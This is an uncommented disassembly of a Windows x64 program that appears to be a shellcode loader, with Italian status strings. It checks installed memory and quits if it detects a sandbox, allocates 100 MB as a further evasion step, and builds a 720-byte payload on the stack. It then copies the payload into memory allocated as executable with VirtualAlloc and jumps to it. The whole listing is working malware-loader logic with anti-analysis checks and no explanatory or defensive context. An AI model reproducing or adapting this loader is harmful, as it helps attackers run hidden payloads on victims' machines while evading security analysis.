call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
lea rcx, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x170], 0x40
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rbp + 0x178], 0x40000000
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jae 0x140001e5c
lea rdx, str.__SandBox_rilevata
call fcn.140002510
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controlli_finiti
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5f5e100
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400024a0
xor edx, edx
mov r8d, 0x5f5e100
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Eseguo_il_payload
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [rbp - 0x40]
movsd xmm0, qword [rbp + 0x50]
mov dword [rbp + 0x2f4], eax
movzx eax, word [rsp + 0x74]
mov word [rbp + 0x2f8], ax
mov eax, dword [rbp - 0x3c]
mov dword [rbp + 0x302], eax
movzx eax, word [rsp + 0x76]
mov word [rbp + 0x306], ax
mov eax, dword [rbp - 0x38]
mov dword [rbp + 0x310], eax
movzx eax, word [rsp + 0x78]
mov word [rbp + 0x314], ax
mov eax, dword [rbp - 0x34]
mov dword [rbp + 0x31e], eax
movzx eax, word [rsp + 0x7a]
mov word [rbp + 0x322], ax
mov eax, dword [rbp - 0x30]
movsd qword [rbp + 0x2d0], xmm0
movsd xmm0, qword [rbp + 0x58]
mov dword [rbp + 0x32c], eax
movzx eax, word [rsp + 0x7c]
movsd qword [rbp + 0x2de], xmm0
movsd xmm0, qword [rbp + 0x60]
mov word [rbp + 0x330], ax
mov eax, dword [rbp - 0x2c]
movsd qword [rbp + 0x2ec], xmm0
movsd xmm0, qword [rbp + 0x68]
mov dword [rbp + 0x33a], eax
movzx eax, word [rsp + 0x7e]
movsd qword [rbp + 0x2fa], xmm0
movsd xmm0, qword [rbp + 0x70]
mov word [rbp + 0x33e], ax
mov eax, dword [rbp - 0x28]
movsd qword [rbp + 0x308], xmm0
movsd xmm0, qword [rbp + 0x78]
mov dword [rbp + 0x348], eax
movzx eax, word [rbp - 0x80]
movsd qword [rbp + 0x316], xmm0
movsd xmm0, qword [rbp + 0x80]
mov word [rbp + 0x34c], ax
mov eax, dword [rbp - 0x24]
movsd qword [rbp + 0x324], xmm0
movsd xmm0, qword [rbp + 0x88]
mov dword [rbp + 0x356], eax
movzx eax, word [rbp - 0x7e]
movsd qword [rbp + 0x332], xmm0
movsd xmm0, qword [rbp + 0x90]
mov word [rbp + 0x35a], ax
mov eax, dword [rbp - 0x20]
movsd qword [rbp + 0x340], xmm0
movsd xmm0, qword [rbp + 0x98]
mov dword [rbp + 0x364], eax
movzx eax, word [rbp - 0x7c]
movsd qword [rbp + 0x34e], xmm0
movsd xmm0, qword [rbp + 0xa0]
mov word [rbp + 0x368], ax
mov eax, dword [rbp - 0x1c]
mov dword [rbp + 0x372], eax
movzx eax, word [rbp - 0x7a]
movsd qword [rbp + 0x35c], xmm0
movsd xmm0, qword [rbp + 0xa8]
mov word [rbp + 0x376], ax
mov dword [rbp + 0x2d8], edi
mov word [rbp + 0x2dc], si
mov dword [rbp + 0x2e6], r15d
mov word [rbp + 0x2ea], r12w
movsd qword [rbp + 0x36a], xmm0
mov eax, dword [rbp - 0x18]
movsd xmm0, qword [rbp + 0xb0]
mov dword [rbp + 0x380], eax
movzx eax, word [rbp - 0x78]
mov word [rbp + 0x384], ax
mov eax, dword [rbp - 0x14]
mov dword [rbp + 0x38e], eax
movzx eax, word [rbp - 0x76]
mov word [rbp + 0x392], ax
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x39c], eax
movzx eax, word [rbp - 0x74]
mov word [rbp + 0x3a0], ax
mov eax, dword [rbp - 0xc]
mov dword [rbp + 0x3aa], eax
movzx eax, word [rbp - 0x72]
mov word [rbp + 0x3ae], ax
mov eax, dword [rbp - 8]
mov dword [rbp + 0x3b8], eax
movzx eax, word [rbp - 0x70]
mov word [rbp + 0x3bc], ax
mov eax, dword [rbp - 4]
mov dword [rbp + 0x3c6], eax
movzx eax, word [rbp - 0x6e]
mov word [rbp + 0x3ca], ax
mov eax, dword [rbp]
mov dword [rbp + 0x3d4], eax
movzx eax, word [rbp - 0x6c]
movsd qword [rbp + 0x378], xmm0
movsd xmm0, qword [rbp + 0xb8]
mov word [rbp + 0x3d8], ax
mov eax, dword [rbp + 4]
movsd qword [rbp + 0x386], xmm0
movsd xmm0, qword [rbp + 0xc0]
mov dword [rbp + 0x3e2], eax
movzx eax, word [rbp - 0x6a]
movsd qword [rbp + 0x394], xmm0
movsd xmm0, qword [rbp + 0xc8]
mov word [rbp + 0x3e6], ax
mov eax, dword [rbp + 8]
movsd qword [rbp + 0x3a2], xmm0
movsd xmm0, qword [rbp + 0xd0]
mov dword [rbp + 0x3f0], eax
movzx eax, word [rbp - 0x68]
movsd qword [rbp + 0x3b0], xmm0
movsd xmm0, qword [rbp + 0xd8]
mov word [rbp + 0x3f4], ax
mov eax, dword [rbp + 0xc]
movsd qword [rbp + 0x3be], xmm0
movsd xmm0, qword [rbp + 0xe0]
mov dword [rbp + 0x3fe], eax
movzx eax, word [rbp - 0x66]
movsd qword [rbp + 0x3cc], xmm0
movsd xmm0, qword [rbp + 0x48]
mov word [rbp + 0x402], ax
mov eax, dword [rbp + 0x10]
movsd qword [rbp + 0x3da], xmm0
movsd xmm0, qword [rbp + 0xe8]
mov dword [rbp + 0x40c], eax
movzx eax, word [rbp - 0x64]
movsd qword [rbp + 0x3e8], xmm0
movsd xmm0, qword [rbp + 0xf0]
mov word [rbp + 0x410], ax
mov eax, dword [rbp + 0x14]
movsd qword [rbp + 0x3f6], xmm0
movsd xmm0, qword [rbp + 0xf8]
mov dword [rbp + 0x41a], eax
movzx eax, word [rbp - 0x62]
movsd qword [rbp + 0x404], xmm0
movsd xmm0, qword [rbp + 0x100]
mov word [rbp + 0x41e], ax
mov eax, dword [rbp + 0x18]
movsd qword [rbp + 0x412], xmm0
movsd xmm0, qword [rbp + 0x108]
mov dword [rbp + 0x428], eax
movzx eax, word [rbp - 0x60]
movsd qword [rbp + 0x420], xmm0
movsd xmm0, qword [rbp + 0x110]
mov word [rbp + 0x42c], ax
mov eax, dword [rbp + 0x1c]
movsd qword [rbp + 0x42e], xmm0
movsd xmm0, qword [rbp + 0x118]
xor ecx, ecx
mov dword [rbp + 0x436], eax
mov edx, 0x2d0
movzx eax, word [rbp - 0x5e]
mov r8d, 0x1000
mov word [rbp + 0x43a], ax
mov eax, dword [rbp + 0x20]
lea r9d, [rcx + 0x40]
mov dword [rbp + 0x444], eax
movzx eax, word [rbp - 0x5c]
mov word [rbp + 0x448], ax
mov eax, dword [rbp + 0x24]
mov dword [rbp + 0x452], eax
movzx eax, word [rbp - 0x5a]
mov word [rbp + 0x456], ax
mov eax, dword [rbp + 0x28]
mov dword [rbp + 0x460], eax
movzx eax, word [rbp - 0x58]
mov word [rbp + 0x464], ax
mov eax, dword [rbp + 0x2c]
mov dword [rbp + 0x46e], eax
movzx eax, word [rbp - 0x56]
mov word [rbp + 0x472], ax
mov eax, dword [rbp + 0x30]
mov dword [rbp + 0x47c], eax
movzx eax, word [rbp - 0x54]
mov word [rbp + 0x480], ax
mov eax, dword [rbp + 0x34]
mov dword [rbp + 0x48a], eax
movzx eax, word [rbp - 0x52]
mov word [rbp + 0x48e], ax
mov eax, dword [rbp + 0x38]
mov dword [rbp + 0x498], eax
movzx eax, word [rbp - 0x50]
movsd qword [rbp + 0x43c], xmm0
movsd xmm0, qword [rbp + 0x120]
mov word [rbp + 0x49c], ax
mov eax, dword [rbp + 0x3c]
movsd qword [rbp + 0x44a], xmm0
movsd xmm0, qword [rbp + 0x128]
mov dword [rbp + 0x4a6], eax
movzx eax, word [rbp - 0x4e]
movsd qword [rbp + 0x458], xmm0
movsd xmm0, qword [rbp + 0x130]
mov word [rbp + 0x4aa], ax
mov eax, dword [rbp + 0x40]
movsd qword [rbp + 0x466], xmm0
movsd xmm0, qword [rbp + 0x138]
mov dword [rbp + 0x4b4], eax
movzx eax, word [rbp - 0x4c]
movsd qword [rbp + 0x474], xmm0
movsd xmm0, qword [rbp + 0x140]
mov word [rbp + 0x4b8], ax
mov eax, dword [rbp + 0x44]
movsd qword [rbp + 0x482], xmm0
movsd xmm0, qword [rbp + 0x148]
mov dword [rbp + 0x4c2], eax
movzx eax, word [rbp - 0x4a]
movsd qword [rbp + 0x490], xmm0
movsd xmm0, qword [rbp + 0x150]
mov word [rbp + 0x4c6], ax
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x4c8], eax
movzx eax, word [rbp - 0x48]
movsd qword [rbp + 0x49e], xmm0
movsd xmm0, qword [rbp + 0x158]
mov word [rbp + 0x4cc], ax
movzx eax, byte [rsp + 0x72]
movsd qword [rbp + 0x4ac], xmm0
movsd xmm0, qword [rbp + 0x160]
mov byte [rbp + 0x4ce], al
movsd qword [rbp + 0x4ba], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [rbp + 0x2d0]
mov r8d, 5
mov rdx, rax
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub r8, 1
jne 0x140002425
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
call rax
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x6e0]
xor eax, eax
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.1400027a0
lea r11, [rsp + 0x6b0]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__SandBox_rilevata
call fcn.140002510
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]